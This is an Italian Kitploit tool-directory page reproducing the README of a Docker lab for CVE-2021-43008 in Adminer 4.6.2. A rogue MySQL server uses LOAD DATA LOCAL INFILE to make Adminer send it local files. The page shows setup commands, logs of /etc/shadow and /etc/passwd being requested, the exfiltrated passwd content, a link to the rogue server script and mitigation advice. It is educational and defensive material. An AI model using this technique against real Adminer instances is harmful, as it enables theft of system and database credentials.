Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
adminer_CVE-2021-43008 — Ambiente dimostrativo per la vulnerabilità CVE-2021-43008 di Adminer: osservare l'impatto reale e testare misure di mitigazione. | Kitploit
Strumenti/GitHubGitHub/bamolitho/adminer_cve-2021-43008
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

Ambiente dimostrativo per la vulnerabilità CVE-2021-43008 di Adminer: osservare l'impatto reale e testare misure di mitigazione.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
18 mesi faNon ancora revisionato

CVE-2021-43008 — Vulnerabilità di Adminer

Lettura arbitraria di file tramite un server MySQL malintenzionato

1. Cos’è Adminer?

Adminer è uno strumento web (PHP) che permette di amministrare facilmente database MySQL, PostgreSQL, SQLite o SQL Server. Viene spesso utilizzato come alternativa leggera a phpMyAdmin.

Versioni interessate: Adminer ≤ 4.6.2


2. Qual è la natura della vulnerabilità?

2.1. Fallimento del controllo degli accessi

Adminer consente la connessione a qualsiasi server MySQL remoto. Tuttavia, durante la connessione a un server MySQL, il client (in questo caso Adminer) accetta:

  • un insieme di istruzioni iniziali del server,
  • incluso il comando LOAD DATA LOCAL INFILE, che permette al server di chiedere al client di inviargli un file locale.

2.2. Problema

Adminer non convalida correttamente le risposte del server MySQL nelle versioni vulnerabili.

Risultato: Un server MySQL controllato da un attaccante può chiedere:

“Leggi questo file locale sulla macchina o sul contenitore che ospita Adminer e inviamelo.”

Questo meccanismo è legato al pacchetto MySQL: 0xFB | filename → attiva la lettura locale del file.

Perché la versione 4.6.2 è vulnerabile

Adminer 4.6.2 permetteva a un utente di specificare un server MySQL esterno e di connettersi liberamente. Tuttavia, MySQL permetteva inoltre — di default — l’uso di:

  • LOAD DATA LOCAL INFILE
  • in modalità automatica quando alcuni server richiedevano un file.

Quindi: Adminer → si connette al server malintenzionato → il server malintenzionato richiede un file → Adminer lo invia.

Questa è l’essenza della vulnerabilità.


3. Condizioni di sfruttamento

L’attaccante deve:

  1. Ospitare un server MySQL malintenzionato (Rogue MySQL Server).
  2. Far connettere Adminer al suo server:
    • tramite un errore di configurazione,
    • tramite un’interfaccia esposta pubblicamente,
    • tramite un’azione di un utente (attacco di tipo “supply host”).
  3. Il server MySQL rogue invia un pacchetto LOAD DATA LOCAL INFILE.
  4. Adminer legge un file locale.
  5. Il file viene inviato all’attaccante.

Non è necessaria alcuna password di root per esfiltrare un file locale: è Adminer stesso a eseguire l’azione come applicazione PHP sul server target.


4. Conseguenze della vulnerabilità

4.1. Compromissione della riservatezza

L’attaccante può:

  • leggere /etc/passwd (dell’entità che ospita adminer: macchina host o contenitore),
  • leggere /etc/shadow (in base ai permessi dell’utente PHP),
  • recuperare i file di configurazione,
  • rubare le credenziali di connessioni MySQL,
  • estrarre tutte le informazioni accessibili dall’utente web.

4.2. Escalation dell’impatto

Con le credenziali MySQL rubate (fase secondaria), può successivamente:

  • connettersi al vero database interno,
  • leggere i dati,
  • scrivere nelle tabelle,
  • iniettare cariche maligne.

5. Dimostrazione pratica (PoC) — Architettura del laboratorio

Il PoC viene eseguito in un ambiente isolato e containerizzato per evitare qualsiasi rischio.

5.1. Componenti del laboratorio

  1. Adminer vulnerabile (versione 4.6.2) Ruolo: vittima Esposto localmente su localhost:8080
  2. MySQL legittimo (opzionale) Ruolo: simulare un database reale
  3. Rogue MySQL Server (Python) Ruolo: attaccante Invia i pacchetti 0xFB filename per forzare Adminer a leggere un file locale.

5.2. Struttura della directory

root@kitploit:~
adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
	├── rogue_mysql_server.py
	├── requirements.txt
	└── Dockerfile

6. Svolgimento del PoC: come si manifesta la vulnerabilità?

6.1. Avviare il laboratorio

root@kitploit:~
docker compose build && docker compose up -d

6.2. Connessione da Adminer al Rogue Server

In http://localhost:8080:

  • Sistema: MySQL
  • Server: rogue_mysql:33306
  • Utente: qualsiasi
  • Password: qualsiasi

6.3. Svolgimento automatico

  1. Adminer invia l’handshake.
  2. Il Rogue MySQL restituisce LOAD DATA LOCAL INFILE '/etc/passwd'.
  3. Adminer legge /etc/passwd.
  4. Adminer invia il suo contenuto al rogue.
  5. Il rogue salva il testo in stolen_file.txt.

6.4. Risultato osservato

Usare il seguente comando per osservare i log del rogue:

root@kitploit:~
docker logs -f rogue_mysql

Risultato atteso:

root@kitploit:~
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt

Consultare il contenuto del file stolen_file.txt:

root@kitploit:~
docker exec -it rogue_mysql sh

Una volta all’interno del contenitore, puoi visualizzare i contenuti dei file, incluso stolen_file.txt

root@kitploit:~
# ls
mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
root@kitploit:~
# cat stolen_file.txt

Risultato:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

Questo risultato dimostra inequivocabilmente la vulnerabilità.

7. Misure di mitigazione

A. Aggiornare Adminer (da sola è sufficiente)

Soluzione più affidabile: Passare ad Adminer ≥ 4.6.3

Le versioni successive correggono il comportamento di rete.

Cosa è stato corretto nelle versioni successive

A partire da Adminer 4.7.x, sono state introdotte diverse protezioni:

Adminer ora proibisce di default LOAD DATA LOCAL INFILE

Ovvero:

  • completamente disabilitato
  • o attivato solo quando esplicitamente autorizzato dall’utente

→ Risultato: il tuo rogue MySQL non può più esfiltrare file.

Adminer filtra le azioni del client prima di inviarle al server

Questo impedisce alle connessioni esterne di utilizzare funzioni pericolose.

Meccanismi aggiuntivi di validazione dell’input

Le nuove versioni verificano:

  • se il server target è quello atteso
  • se l’azione non è pericolosa
  • se la richiesta corrisponde effettivamente a un’azione utente legittima

B. Disabilitare le connessioni esterne

Limitare Adminer ai soli host interni:

  • tramite firewall (OUTPUT + DOCKER NETWORKS),
  • tramite reverse proxy filtrato,
  • tramite configurazione di rete strettamente localizzata.

L’Adminer di produzione deve sempre puntare a un MySQL interno.


C. Disabilitare LOCAL INFILE lato MySQL

Impedisce il furto tramite client MySQL legittimo:

root@kitploit:~
[mysqld]
local_infile=0

o:

root@kitploit:~
SET GLOBAL local_infile=0;

D. Non esporre mai Adminer pubblicamente

Adminer non deve essere accessibile su Internet.

In produzione:

  • accesso limitato tramite VPN,
  • SSO o autenticazione forte,
  • scadenza automatica.

E. Eliminare Adminer dopo l’uso

Adminer va considerato uno strumento temporaneo:

  • lo si distribuisce per un compito specifico,
  • poi lo si elimina.

8. Risorse e riferimenti affidabili

  • Sorgente dello script python utilizzato: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
  • Sito ufficiale Adminer https://www.adminer.org/en/
  • Sansec (pubblicazione iniziale) https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
  • Podalirius (spiegazioni tecniche + PoC) https://podalirius.net/en/cves/2021-43008/
  • vulhub: https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

9. Riepilogo finale

CVE-2021-43008 è una vulnerabilità critica di Adminer ≤ 4.6.2 che permette:

  • a un attaccante che controlla un server MySQL,
  • di costringere Adminer a leggere un file locale,
  • e poi di esfiltrare il contenuto verso l’attaccante.

È una dimostrazione perfetta dell’importanza:

  • del controllo di rete,
  • delle restrizioni del client MySQL,
  • della non esposizione di strumenti di amministrazione,
  • della gestione delle versioni software.

Scarica lo strumento